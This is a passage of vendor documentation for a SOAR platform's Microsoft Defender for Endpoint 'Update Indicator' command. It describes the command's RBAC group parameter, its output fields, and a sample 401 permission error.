Optional
A comma-separated list of updated RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***************************************
}
Return Data
Indicates one of the possible command execution states: Successful or Failed. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Update Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
Error Sample Data
Update Indicator failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
JavaScript errors detected
Please note, these errors can depend on your browser setup.
If this problem persists, please contact our support.
